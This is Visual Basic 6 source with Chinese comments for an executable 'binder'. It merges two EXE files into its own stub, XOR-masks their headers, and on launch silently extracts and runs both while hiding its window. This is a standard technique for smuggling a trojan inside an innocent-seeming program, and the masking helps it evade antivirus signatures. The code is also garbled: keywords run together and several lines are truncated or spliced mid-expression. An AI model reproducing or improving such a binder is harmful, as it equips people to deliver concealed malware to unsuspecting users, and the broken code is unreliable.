'界面上form1 的名字改成mainfrm

'建立3个文本控件名字分别是txtChooSEOne、txtChooseTwo、txtDestination

'建立5个按钮控件名字分别是cmdChooSEOne、cmdChooseTwo、cmdDestination、cmdBind、cmdCancel

'工程引用部件Microsoft common dialog control 6.0，然后界面放上这个控件

'工程名字一定要英文或是数字。否则程序捆绑后都是错误。

PrivateDeclareFunctionWinExecLib"kernel32"(ByVallpCmdLineAsString,ByValnCmdShowAsLong)AsLong
PrivateDeclareSubSleepLib"kernel32"(ByValdwMillisecondsAsLong)
ConstSW_SHOWNORMAL=1
DimFileName1AsString
DimFileName2AsString
DimFileDestinationAsString
DimStringPlaceAsLong

PrivateSubForm_Load()
FileName1="":FileName2="":FileDestination="":StringPlace=0
'OnErrorResumeNext
'获取本文件完整内容
DimFileContent()AsByte
DimFileNumAsInteger
FileNum=FreeFile()
OpenFilePath&App.EXEName&".exe"ForBinaryAsFileNum
'Open"c:/1.exe"ForBinaryAsFileNum
ReDimFileContent(FileLen(FilePath&App.EXEName&".exe")-1)
'ReDimFileContent(FileLen("c:/1.exe")-1)
GetFileNum,FileContent
CloseFileNum
'查找"VbExeFileBind"
StringPlace=InStrRev(StrConv(FileContent,vbUnicode),"VbExeFileBind")
IfStringPlace<>0Then
'Debug.Print"此文件已经捆绑过！"
CallSplitFileAndRun(FileContent)
mainfrm.Visible=False
End
Else
'Debug.Print"此文件未被捆绑！"
mainfrm.Visible=True
EndIf
EndSub

PrivateSubcmdChooSEOne_Click()
FileName1=""
CDLog.FileName=""
CDLog.ShowOpen
IfTrim(CDLog.FileName)<>""AndDir(Trim(CDLog.FileName))<>""AndUCase(Right(Trim(CDLog.FileName),4))=".EXE"Then
DimFileNameExtAsString
FileNameExt=Right(CDLog.FileName,Len(CDLog.FileName)-InStrRev(Trim(CDLog.FileName),"/"))
DimiAsInteger:i=1
While(i<=Len(FileNameExt))
IfAsc(Mid(FileNameExt,i,1))<32OrAsc(Mid(FileNameExt,1))>127Then
MsgBox"抱歉，此程序不支持文件名为中文，请将文件名改成英文！"
ExitSub
EndIf
i=i+1
Wend
FileName1=Trim(CDLog.FileName)
txtChooSEOne.Text=FileName1
CallCheckTxt
Else
txtChooSEOne.Text=""
FileName1=""
MsgBox"可能未选择文件或者文件不存在，也可能不是EXE文件！",vbCritical
EndIf
EndSub

PrivateSubcmdChooseTwo_Click()
FileName2=""
CDLog.FileName=""
CDLog.ShowOpen
IfTrim(CDLog.FileName)<>""AndDir(Trim(CDLog.FileName))<>""AndUCase(Right(Trim(CDLog.FileName),1))>127Then
MsgBox"抱歉，此程序不支持文件名为中文，请将文件名改成英文！"
ExitSub
EndIf
i=i+1
Wend
FileName2=Trim(CDLog.FileName)
txtChooseTwo.Text=FileName2
CallCheckTxt
Else
txtChooseTwo.Text=""
FileName2=""
MsgBox"可能未选择文件或者文件不存在，也可能不是EXE文件！",vbCritical
EndIf
EndSub

PrivateSubcmdDestination_Click()
FileDestination=""
CDLog.FileName=""
CDLog.ShowSave
IfTrim(CDLog.FileName)<>""AndUCase(Right(Trim(CDLog.FileName),1))>127Then
MsgBox"抱歉，此程序不支持文件名为中文，请将文件名改成英文！"
ExitSub
EndIf
i=i+1
Wend
FileDestination=Trim(CDLog.FileName)
txtDestination.Text=FileDestination
CallCheckTxt
Else
txtDestination.Text=""
FileDestination=""
MsgBox"可能未指定文件名，也可能指定的不是EXE文件！",vbCritical
EndIf
EndSub

PrivateSubcmdBind_Click()
'OnErrorGoToERR
IfDir(FileDestination)<>""Then
IfMsgBox("文件已经存在，是否覆盖？",vbYesNo+vbQuestion)=vbYesThen
Kill(FileDestination)
Else
MsgBox"请重新选择目标文件！",vbInformation
EndIf
EndIf
'获取当前的完整路径
DimFilePathAsString
IfRight(App.Path,1)="/"Then
FilePath=App.Path
Else
FilePath=App.Path&"/"
EndIf
DimFileNumAsInteger
DimFileContent1()AsByte:DimFileContent2()AsByte:DimFileContent3()AsByte
DimIiiiiAsInteger:DimSssssAsString
'读入本程序可执行文件内容
FileNum=FreeFile()
OpenFilePath&App.EXEName&".exe"ForBinaryAsFileNum
ReDimFileContent1(FileLen(FilePath&App.EXEName&".exe")-1)
GetFileNum,FileContent1
CloseFileNum
'读入第一个可执行文件内容
FileNum=FreeFile()
OpenFileName1ForBinaryAsFileNum
ReDimFileContent2(FileLen(FileName1)-1)
GetFileNum,FileContent2
ForIiiii=1To200Step1
Sssss=FileContent2(Iiiii-1)Xor99
FileContent2(Iiiii-1)=Sssss
Next
CloseFileNum
'读入第二个可执行文件内容
FileNum=FreeFile()
OpenFileName2ForBinaryAsFileNum
ReDimFileContent3(FileLen(FileName2)-1)
GetFileNum,FileContent3
ForIiiii=1To200Step1
Sssss=FileContent3(Iiiii-1)Xor99
FileContent3(Iiiii-1)=Sssss
Next
CloseFileNum
'将本程序、第一个文件和第二个文件写入新文件
FileNum=FreeFile()
OpenFileDestinationForBinaryAsFileNum
Put#FileNum,FileContent1
Put#FileNum,FileContent2
Put#FileNum,FileContent3
Put#FileNum,"VbExeFileBind"
Put#FileNum,Trim(App.EXEName)&"|||"&Trim(Str(FileLen(FilePath&App.EXEName&".exe")))&"////"&_
Mid(Right(Trim(FileName1),Len(Trim(FileName1))-InStrRev(Trim(FileName1),"/")),1,InStr(1,LCase(Right(Trim(FileName1),"/"))),".exe")-1)&"|||"&Trim(Str(FileLen(FileName1)))&"////"&_
Mid(Right(Trim(FileName2),Len(Trim(FileName2))-InStrRev(Trim(FileName2),LCase(Right(Trim(FileName2),".exe")-1)&"|||"&Trim(Str(FileLen(FileName2)))&"////"
Close#FileNum
DimiiAsInteger
Forii=1ToLen(Trim(App.EXEName)&".exe")Step1
'Debug.PrintAsc(Mid(Trim(App.EXEName)&".exe",ii,1))
Nextii
MsgBox"捆绑成功！",vbInformation
End
ExitSub
ERR:
OnErrorResumeNext
Close#FileNum
KillFileDestination
MsgBox"捆绑失败！",vbCritical
EndSub

PrivateSubcmdCancel_Click()
End
EndSub

SubCheckTxt()
IfUCase(Right(FileName1,4))=".EXE"AndUCase(Right(FileName2,4))=".EXE"AndUCase(Right(FileDestination,4))=".EXE"Then
cmdBind.Enabled=True
Else
cmdBind.Enabled=False
EndIf
EndSub

SubSplitFileAndRun(FileContent()AsByte)
DimArr()AsString'定义存放文件组信息的字符串数组
DimArr1()AsString'定义存放文件信息的字符串数组
DimFN(2,1)AsString
DimStringToEofAsString'定义存放标志字符后至文件尾部的字符变量
StringToEof=Mid(StrConv(FileContent,StringPlace+17)'获取标志字符后至文件尾部的字符
Arr=Split(StringToEof,"////")'以“////”拆分文件组信息的字符串数组
'调试输出文件相关信息
DimiAsInteger:DimnAsInteger
Fori=LBound(Arr)ToUBound(Arr)Step1
IfArr(i)<>""Then
Arr1=Split(Arr(i),"|||")'以“|||”拆分文件组信息的字符串数组
Forn=LBound(Arr1)ToUBound(Arr1)Step1
IfArr1(n)<>""Then
FN(i,n)=Trim(Arr1(n))
'Debug.Print"**"&FN(i,n)&"**"
EndIf
Nextn
EndIf
Nexti
'获取当前的完整路径
DimFilePathAsString
IfRight(App.Path,1)="/"Then
FilePath=App.Path
Else
FilePath=App.Path&"/"
EndIf
'定义读写文件需要的变量
DimIiiiiAsInteger:DimMmmmmAsString
DimFileContent1()AsByte
DimFileNumAsInteger
OnErrorResumeNext
'读取被捆绑的第一个文件
FileNum=FreeFile()
OpenFilePath&App.EXEName&".exe"ForBinaryAsFileNum
'Open"c:/1.exe"ForBinaryAsFileNum
ReDimFileContent1(Val(FN(1,1))-1)
GetFileNum,Val(FN(0,1))+1,FileContent1
ForIiiii=1To200Step1
Mmmmm=CByte(FileContent1(Iiiii-1))Xor99
FileContent1(Iiiii-1)=Mmmmm
Next
CloseFileNum
'判断文件是否存在
IfDir(FN(1,0)&".exe")<>""ThenKillFN(1,0)&".exe"
'将读取到的被捆绑的第一个文件写入新文件
FileNum=FreeFile()
OpenFN(1,0)&".exe"ForBinaryAsFileNum
Put#FileNum,FileContent1
Close#FileNum
'读取被捆绑的第二个文件
FileNum=FreeFile()
OpenFilePath&App.EXEName&".exe"ForBinaryAsFileNum
'Open"c:/1.exe"ForBinaryAsFileNum
ReDimFileContent1(Val(FN(2,1))+Val(FN(1,FileContent1
ForIiiii=1To200Step1
Mmmmm=CByte(FileContent1(Iiiii-1))Xor99
FileContent1(Iiiii-1)=Mmmmm
Next
CloseFileNum
'判断文件是否存在
IfDir(FN(2,0)&".exe")<>""ThenKillFN(2,0)&".exe"
'将读取到的被捆绑的第二个文件写入新文件
FileNum=FreeFile()
OpenFN(2,FileContent1
Close#FileNum
'如果存在则执行两个新生成的文件
IfDir(FilePath&FN(1,0)&".exe")<>""Then
CallWinExec(FilePath&FN(1,0)&".exe",SW_SHOWNORMAL)
Else
'Debug.PrintFN(1,0)&".exe"&"不存在！"
EndIf
IfDir(FilePath&FN(2,0)&".exe")<>""Then
CallWinExec(FilePath&FN(2,SW_SHOWNORMAL)
Else
'Debug.PrintFN(2,0)&".exe"&"不存在！"
EndIf
EndSub